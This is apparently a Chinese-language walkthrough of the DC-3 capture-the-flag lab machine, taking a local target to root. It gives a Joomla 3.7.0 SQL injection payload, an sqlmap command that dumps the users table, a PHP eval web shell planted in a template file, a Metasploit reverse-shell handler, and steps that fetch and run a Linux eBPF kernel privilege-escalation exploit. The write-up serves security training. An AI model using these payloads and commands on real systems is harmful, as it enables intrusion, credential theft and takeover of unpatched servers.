
靶机目标拿到DC-3靶机的root权限。工具39772.zip荷载压缩包kaliAntSword浏览器插件Wappalyzer环境靶机为 32位 (i686) 系统由于是太老旧的对于现在基本上都会存在兼容问题所以DC-3靶机兼容问题属于自己解决本文章只顾思路引导。核心考点Joomla 3.7.0 SQL注入、密码哈希破解、WebShell获取、Linux 32位内核提权。一信息收集1.1利用nmap找到DC-3靶机的IP靶机是布置在本地。# kali nmap -T4 192.168.182.1/24这样就可以直接找到本地靶机IP地址为192.168.182.185在你自己上IP会有所不同。分析图片可以看到开放了80端口下一步就是查看DC-3靶机的web服务。1.2.利用浏览器插件Wappalyzer利用扫描web服务器找到攻击目标joomla.分析可以看到攻击目标为内容管理系统joomlaweb服务器JS库这三个所以先测试价值最高的内容管理系统joomla不行在换成其他的。思考为什么一开始就盯着服务器系统信息看而不是去看客户端的漏洞例如web十大漏洞。为什么价值最高的是joomla的内容管理系统1.3利用kali的joomscan工具进行扫描靶机。# kali joomscan -u 192.168.182.185这样会得到了四个joomla内容管理系统下面路径里面。经过分析该分析可以直接问AI可以知道暴露了两个高价值信息1.后台管理员登录路径/administrator/index.php默认2.可以在/administrator/components中找插件漏洞http://192.168.182.185/administrator/componentshttp://192.168.182.185/administrator/moduleshttp://192.168.182.185/administrator/templateshttp://192.168.182.185/images/banners思考该如何在已有的信息中挖掘更有价值的信息呢AI会是一个很好的工具但是不仅仅只限于AI的帮助。可以拿1.4利用AI找出SQL漏洞练练自己的信息收集能力。1.4.利用/administrator/components 暴露了插件/administrator/components/com_fields中的SQL注入漏洞。利用报错注入进行验证是否具有SQL注入漏洞。# 浏览器 http://目标IP/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(1,concat(0x7e,(select user()),0x7e),1)二利用漏洞进入后台登录2.1.利用SQLmap进行数据库泄露。# kali sqlmap -u http://192.168.182.185/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml -p list[fullordering] --batch --random-agent -D joomladb -T #__users -C username,password --dump这里直接给出了整个命令。分析可以知道我们仅仅只是拿到了账号admin加盐加密密码DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu2.2利用john进行暴力破解密码。由于需要的字典是需要自己准备的如何自己准备的字典里面没有对应的密码那就自然不能爆破成功。所以直接给出作者爆破出来的密码snoopy思考什么样的字典才算是一个好的字典呢字典里面是具有固定密码习惯常用密码经典密码的一个组合嘛2.3进行连接AntSword进行文件上传。# index.php ?php eval($_POST[pass]);?找到里面一个插件 Templates: Customise (Protostar) 在里面的的一份 index.php文件中写入一句话木马。PHP的一句话木马必须要会写这个是基本素养。思考为什么选择注入一句话木马的文件名为index.php?为什么直接访问靶机就可以直接启动木马呢连接AntSword可以方便更高效进行下一步。也可以图形化查看所有文件路径。在临时目录 /tmp 上传 shell_x86.elf准备与kali的MSF进行建立会话连接。赋予文件shell_x86.elf有执行的权限。# 虚拟终端 AntSword chmod x /tmp/shell_x86.elf三权限提权root3.1在kali里面建立会话与靶机进行连接。# kali msfconsole use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.182.149 set lport 4444 run同时在AntSword的虚拟终端中执行。# 虚拟终端 AntSword /tmp/shell_x86.elf这样就可以通过kali进行针对于靶机的攻击了。3.2利用Linux内核漏洞。# meterpreter shell uname -a exit background可以知道靶机的版本是:Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux在这里可以使用CVE-2016-5195其中的另一个版本漏洞名字为 39772。可以知道在kali里面没有39772的荷载源代码而是文件说明。思考这里除了CVE-2016-5195这个版本漏洞可以提权还可以使用那些Linux内核版本进行提权呢# kali searchsploit -x linux/local/39772.txt 2cat /usr/share/exploitdb/exploits/linux/local/39772.txt下载漏洞荷载。然后在进行解压缩获取里面的荷载文件压缩包exploit.tar(作者将解压文件放在了桌面上。)。# kali wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip sessions -i 你的会话ID将荷载文件上传到靶机上面。# meterpreter upload /home/kali/Desktop/39772/exploit.tar /tmp/exploit.tar将荷载源文件解压然后赋予执行权限。# meterpreter shell tar xvf exploit.tar cd ebpf_mapfd_doubleput_exploit chmod x compile.sh ./compile.sh #执行脚本是编译文件 chmod x doubleput ./doubleput #执行提权文件提权为root这样就可以了。最后就会有root 的权限这样就可以查看上文件 /root/the-flag.txt